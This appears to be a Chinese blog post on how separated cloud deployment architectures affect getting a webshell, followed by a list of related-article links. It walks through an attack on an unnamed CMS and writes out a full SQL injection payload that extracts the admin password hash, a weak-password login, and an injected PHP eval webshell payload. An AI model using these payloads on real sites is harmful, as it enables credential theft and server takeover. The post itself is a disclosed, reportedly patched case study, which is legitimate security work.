和朋友聊起一个话题,服务器部署架构升级对安全的影响。从最简单的一台服务器,到应用、数据库、文件服务器分离;从本地机房服务器到云服务器产品矩阵;从虚拟化到容器化部署,一直在往更安全的方向改变。

本文试图构建这样场景,源码放在ECS,数据库放RDS,非结构化数据存储放HDFS。常规的getshell手段,如SQL注入写入文件,任意文件上传,文件包含等似乎已不再好使。这种情况,如何突破系统的部署架构,来获取网站的webshell呢?

实战思路:黑盒渗透测试+白盒代码审计

在进行信息收集的时候,找到网站管理后台,查看登录界面网页源代码,获知该系统可能由某CMS二次开发。进一步下载开源CMS源代码进行代码审计,从前台sql注入到后台getshell。

某CMS演示站点漏洞利用过程:

1、利用前台SQL注入漏洞,搜索处填入Pyload:

keyword=1%' or (select 1 from (select count(),concat((concat(0x5e5e21,(select concat(0x7c,password,0x7c) from xxxxx_user where uid=1),0x215e5e)),floor(rand(0)2))x from information_schema.tables group by x)a)#

将md5值:21232f297a57a5a743894a0e4a801fc3 解密为admin

使用弱口令admin/admin成功登陆后台。

2、 登陆后台,在Home设置—专题管理—创建专题—专题名称处填写Payload:test111',eval($_POST[g]),//

3、访问webshell地址:

PS:本文所引用案例,安全漏洞于2018.11提交官方,目前已修复。


技术架构上的升级,它可以很大程度地降低一些安全风险,黑盒渗透的漏洞利用难度无疑会增大。目前,比较流行的微服务架构,会有越来越多的系统使用场景,而这也是一个很大的挑战,你以为你拿到了整个系统的权限,其实你触及的可能是系统中的某个服务。

很喜欢这样一句话,简短有启发:细节中发现漏洞,架构上解决问题,流程中控制风险。

新的部署架构之下,如何拿shell?的更多相关文章

  1. FileNet P8 Content Engine 的分布式部署架构

    摘抄笔记:http://www.ibm.com/developerworks/cn/data/library/techarticle/dm-1307wanghaining/ 前言 对于集团公司,企业内 ...

  2. 分布式实时日志分析解决方案ELK部署架构

    一.概述 ELK 已经成为目前最流行的集中式日志解决方案,它主要是由Beats.Logstash.Elasticsearch.Kibana等组件组成,来共同完成实时日志的收集,存储,展示等一站式的解决 ...

  3. 【入门】广电行业DNS、DHCP解决方案详解(三)——DNS部署架构及案

    [入门]广电行业DNS.DHCP解决方案详解(三)——DNS部署架构及案 DNS系统部署架构 宽带业务DNS架构 互动业务DNS架构 案例介绍 案例一 案例二 本篇我们将先介绍DNS系统部署架构体系, ...

  4. 【JMicro】微服务部署架构及实例

    序言 JMicro是一个用Java语言实现的开源微服务全家桶,源码地址:https://github.com/mynewworldyyl/jmicro,Demo地址:http://124.70.152 ...

  5. IIS负载均衡-Application Request Route详解第四篇:使用ARR实现三层部署架构(转载)

    IIS负载均衡-Application Request Route详解第四篇:使用ARR实现三层部署架构 系列文章链接: IIS负载均衡-Application Request Route详解第一篇: ...

  6. Azure环境中Nginx高可用性和部署架构设计

    前几篇文章介绍了Nginx的应用.动态路由.配置.在实际生产环境部署时,我们需要同时考虑Nginx的高可用性和部署架构. Nginx自身不支持集群以保证自身的高可用性,商业版本的Nginx+推荐: T ...

  7. Nginx技术研究系列7-Azure环境中Nginx高可用性和部署架构设计

    前几篇文章介绍了Nginx的应用.动态路由.配置.在实际生产环境部署时,我们需要同时考虑Nginx的高可用性和部署架构. Nginx自身不支持集群以保证自身的高可用性,商业版本的Nginx+推荐: T ...

  8. [转帖]VMware Vsphere 6.0安装部署 (一) 总体部署架构

    (一)总体部署架构本教程用于学习目的,力求详尽的介绍安装部署过程和各组件之间的关系,部署过程从最简单的模型开始,系列文章按时间顺序依次展开,每篇介绍一个组件. 开始阶段,按照一台物理服务器,部署所有V ...

  9. 免费开源《OdooERP系统部署架构指南》试读:第一章 Odoo架构概述

    文/开源智造联合创始人老杨 本文来自<OdooERP系统部署架构指南>的试读章节.书籍尚未出版,请勿转载.欢迎您反馈阅读意见. 从web浏览器到PostgreSQL,多层与其他层交互以处理 ...

随机推荐

  1. vue中使用axios进行ajax请求数据(跨域配置)

    npm安装axios npm install axios --save 引入axios import axios from 'axios' 使用axios mounted () { this.getH ...

  2. rhel安装输入法

    # yum install "@Chinese Support" 安装完成后,设置输入法: System -> Preferences -> Input Method

  3. mybatis中的分页插件

    1.Mybatis的分页plugin实现原理 2.具体步骤 第一步.导入到pom.xml文件中依赖包 第二步.配置插件(必需) 在mybatisConfig.xml文件中配置以下代码 代码位置:在en ...

  4. Tomcat部署项目时,发布的项目页面部分乱码,且页面渲染文件也是乱码。

    catalina.bat中必须设置为UTF-8,如果我不设置为UTF-8,页面接收到的就是乱码了,尝试过各种UTF-8的调试,都无解,最后还是只能在catalina.bat的set "JAV ...

  5. windows API下的模板缓冲(stencil buffer)

    在windows API搭建的OpenGL窗口中使用模板缓冲,需要在像素格式描述表中设置stencil buffer位宽为8,这样窗口会自动生成stencil buffer,然后可以在opengl环境 ...

  6. linux(05) 编译安装py3

    一.编译安装python3 https://www.cnblogs.com/pyyu/p/9015317.html 1.下载python3的源码 cd /opt yum install wget -y ...

  7. 201871010119-帖佼佼《面向对象程序设计(java)》第十七周学习总结

    博文正文开头格式:(2分) 项目 内容 这个作业属于哪个课程 https://www.cnblogs.com/nwnu-daizh/ 这个作业的要求在哪里 https://www.cnblogs.co ...

  8. 201871010121-王方-《面向对象程序设计(java)》第十二周学习总结

    项目 内容 这个作业属于哪个课程 https://www.cnblogs.com/nwnu-daizh 这个作业的要求在哪里 https://www.cnblogs.com/nwnu-daizh/p/ ...

  9. docker 持久化存储

    1.data Volume  mysql5.7:dockerfile FROM debian:stretch-slim # add our user and group first to make s ...

  10. Netty线程模型(五)

    Netty支持单线程.主线程模型.主从多线程模型. 我们在创建线程组的时候,如果不传递参数,则默认构建的线程组线程是CPU核心数量. 一.单线程模型 在ServerBootstrap调用方法group ...